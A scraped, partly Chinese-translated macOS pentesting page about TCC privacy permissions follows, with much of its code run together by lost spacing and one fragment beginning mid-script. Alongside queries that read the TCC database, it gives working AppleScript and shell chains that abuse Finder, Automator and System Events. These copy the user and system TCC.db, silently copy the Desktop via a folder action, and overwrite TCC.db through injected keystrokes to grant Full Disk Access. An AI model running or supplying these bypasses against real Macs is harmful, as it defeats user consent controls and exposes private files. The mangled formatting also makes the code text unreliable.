sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> selectservice,client,auth_value,auth_reasonfromaccesswhereservice="kTCCServiceSystemPolicyAllFiles"andauth_value=2;# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
检查两个数据库,您可以查看应用程序允许、禁止或没有的权限(它会请求权限)。
service 是 TCC 权限 的字符串表示
client 是具有权限的 bundle ID 或 二进制文件路径
client_type 指示它是 Bundle Identifier(0) 还是绝对路径(1)
如果是绝对路径,如何执行
只需执行 launctl load you_bin.plist,plist 如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F' => ''/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d'\n')echo"X'$REQ_HEX'"
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.commandmacl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
Finder 是一个 始终具有 FDA 的应用程序(即使它在 UI 中不显示),因此如果你对它拥有 Automation 权限,你可以滥用其权限以 执行某些操作。
在这种情况下,你的应用程序需要对 com.apple.Finder 拥有权限 kTCCServiceAppleEvents。
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
您可以利用此权限编写您自己的用户 TCC 数据库。
拥有此权限后,您将能够请求 Finder 访问 TCC 限制的文件夹并获取文件,但据我所知,您无法使 Finder 执行任意代码以完全滥用其 FDA 访问权限。
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
同样的情况发生在 **Script Editor app**,它可以控制 Finder,但使用 AppleScript 你无法强制它执行脚本。
### 自动化 (SE) 到某些 TCC
**系统事件可以创建文件夹操作,而文件夹操作可以访问一些 TCC 文件夹**(桌面、文档和下载),因此可以使用如下脚本来利用这种行为:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
在 System Events 上的自动化 + 辅助功能 (kTCCServicePostEvent) 允许向进程发送 按键。通过这种方式,您可以滥用 Finder 来更改用户的 TCC.db 或为任意应用程序提供 FDA(尽管可能会提示输入密码)。
Finder 覆盖用户 TCC.db 示例:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF